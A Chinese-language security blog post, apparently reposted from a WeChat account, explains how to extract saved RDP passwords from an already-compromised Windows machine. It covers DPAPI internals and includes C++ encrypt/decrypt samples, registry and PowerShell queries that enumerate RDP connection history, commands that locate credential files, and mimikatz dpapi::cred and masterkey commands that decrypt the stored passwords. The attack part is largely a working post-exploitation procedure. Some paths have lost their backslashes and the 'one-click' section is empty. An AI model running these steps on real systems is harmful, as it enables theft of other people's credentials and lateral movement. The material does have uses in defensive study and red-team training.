俗话说百因必有果,你的报应就是我,这篇文章的来历,还要从好兄弟的提问说起。
本文就给大家聊一下关于获取已控机器本地保存的RDP密码的一些原理、思路、以及具体的实现方法。
首先我们需要知道两个概念。
第一、Dpapi
从Windows 2000开始,Microsoft随操作系统一起提供了一种特殊的数据保护接口,称为Data Protection Application Programming Interface(DPAPI)。其分别提供了加密函数CryptProtectData 与解密函数 CryptUnprotectData 以用作敏感信息的加密解密。
包括的范围有下面这些:
-
IE、Chrome的登录表单自动完成
-
Powershell加密函数
-
Outlook, Windows Mail, Windows Mail, 等邮箱客户端的用户密码。
-
FTP管理账户密码
-
共享资源文件夹的访问密码
-
无线网络帐户密钥和密码
-
远程桌面身份凭证
-
EFS
-
EAP/TLS 和 802.1x的身份凭证
-
Credential Manager中的数据
-
以及各种调用了CryptProtectData函数加密数据的第三方应用,如Skype, Windows Rights Management Services, Windows Media, MSN messenger, Google Talk等。
其中就包括了我们所说的远程桌面身份凭证。Dpapi采用的加密类型为对称加密,即找到了密钥,就能解开物理存储的加密信息。
Master Key Files
存放密钥的文件叫做Master Key Files,
用户Master Key file,位于%APPDATA%MicrosoftProtect%SID%
系统Master Key file,位于%WINDIR%System32MicrosoftProtectS-1-5-18User
Master Key file的同级目录还有一个Preferred文件,显示当前系统正在使用的MasterKey及其过期时间,默认90天有效期.
实操 DPAPI加解密
微软为开发人员提供了 DPAPI的加解密方式,文件头为dpapi.h,我们可以使用CryptProtectData来进行一个加密,测试代码如下:
#include <iostream>
#include <Windows.h>
#include <dpapi.h>
#pragma comment(lib,"crypt32.lib")
int main()
{
DATA_BLOB plainBlob = { 0 };
DATA_BLOB encryptedBlob = { 0 };
BYTE dataBytes[] = "spotless";
HANDLE outFile = CreateFile("c:\users\root\desktop\encrypted.bin", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
printf("this is an encrypted:spotless");
plainBlob.pbData = dataBytes;
plainBlob.cbData = sizeof(dataBytes);
CryptProtectData(&plainBlob, NULL, NULL, NULL, NULL, CRYPTPROTECT_LOCAL_MACHINE, &encryptedBlob);
WriteFile(outFile, encryptedBlob.pbData, encryptedBlob.cbData, NULL, NULL);
return 0;
}
加密后进行解密
#include <iostream>
#include <Windows.h>
#include <dpapi.h>
#pragma comment(lib,"crypt32.lib")
int main()
{
DATA_BLOB plainBlob = { 0 };
DATA_BLOB encryptedBlob = { 0 };
BYTE dataBytes[] = "spotless";
BYTE inBytes[300] = {0};
BYTE outBytes[300] = {0};
HANDLE outFile = CreateFile(L"c:\users\mantvydas\desktop\encrypted.bin", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE inFile = CreateFile(L"c:\users\mantvydas\desktop\spotless.bin", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD fileSize = 0;
//encrypt
plainBlob.pbData = dataBytes;
plainBlob.cbData = sizeof(dataBytes);
CryptProtectData(&plainBlob, NULL, NULL, NULL, NULL, CRYPTPROTECT_LOCAL_MACHINE, &encryptedBlob);
WriteFile(outFile, encryptedBlob.pbData, encryptedBlob.cbData, NULL, NULL);
//decrypt
fileSize = GetFileSize(inFile, NULL);
ReadFile(inFile, encryptedBlob.pbData, fileSize , NULL, NULL);
encryptedBlob.cbData = fileSize;
CryptUnprotectData(&encryptedBlob, NULL, NULL, NULL, NULL, 0, &plainBlob);
return 0;
}
即可解密出来加密后的明文。
第二、rdp密码存放位置
我们可以使用下面的方法得到所有该主机链接过的机器,即查询注册表
reg query "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers" /s
高版本的系统也可以使用下面的powershell脚本
<#
.SYNOPSIS
This script will list the logged-in users' RDP Connections History.
Author: 3gstudent@3gstudent
License: BSD 3-Clause
#>
$AllUser = Get-WmiObject -Class Win32_UserAccount
foreach($User in $AllUser)
{
$RegPath = "Registry::HKEY_USERS"+$User.SID+"SoftwareMicrosoftTerminal Server ClientServers"
Write-Host "User:"$User.Name
Write-Host "SID:"$User.SID
Write-Host "Status:"$User.Status
Try
{
$QueryPath = dir $RegPath -Name -ErrorAction Stop
}
Catch
{
Write-Host "No RDP Connections History"
Write-Host "----------------------------------"
continue
}
foreach($Name in $QueryPath)
{
Try
{
$User = (Get-ItemProperty -Path $RegPath$Name -ErrorAction Stop).UsernameHint
Write-Host "User:"$User
Write-Host "Server:"$Name
}
Catch
{
Write-Host "No RDP Connections History"
}
}
Write-Host "----------------------------------"
}
然后查看本地的密码文件是否存在
dir /a %userprofile%AppDataLocalMicrosoftCredentials*
注:a代表用户名,本地有存储密码的前提是链接时勾选保存凭证。
然后查看存储在本地的远程信息。
cmdkey /list
这样我们就拥有了解密的一切前提。
第三、实战密码解密
下面我们来实战看一下密码的解密过程。minikatz不愧为神器,里面已经集成了该类功能,都属于dpapi模块。
我们来看下操作。
mimikatz # privilege::debug
mimikatz # dpapi::cred /in:C:UsersAdministratorAppDataLocalMicrosoftCredentials8781378F7D47006A4FC98D2F8A266F58
通过 mimikatz 获取 guidMasterKey,再通过guid 来找到其所对应的 Masterkey,注意此处的 pgData 中的内容实际上就是要解密的密码数据,密码在里面只不过是加密的,得先找到对应的 Masterkey 才能解密 。
下面来找 Masterkey。
然后通过Masterkey即可解密我们的数据。
mimikatz # dpapi::cred /in:C:UsersAdministratorAppDataLocalMicrosoftCredentialsB936D224289CFD610F63B70D714F2664 /masterkey:cd9e42601a0aa86baf3659271cfc2f9f75642a08cb819a7eb7c6c7531dcd80bdc6d152b18bd2d70395cadfad537e1e436034fccc5ff44074059d431e60151cc8
且可以使用下面的命令查看获取到的所有的masterkey:
dpapi::cache
一键化操作:
声明
V安全资讯-为网络安全保驾护航
原文始发于微信公众号(V安全资讯):获取已控机器本地保存的RDP密码
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论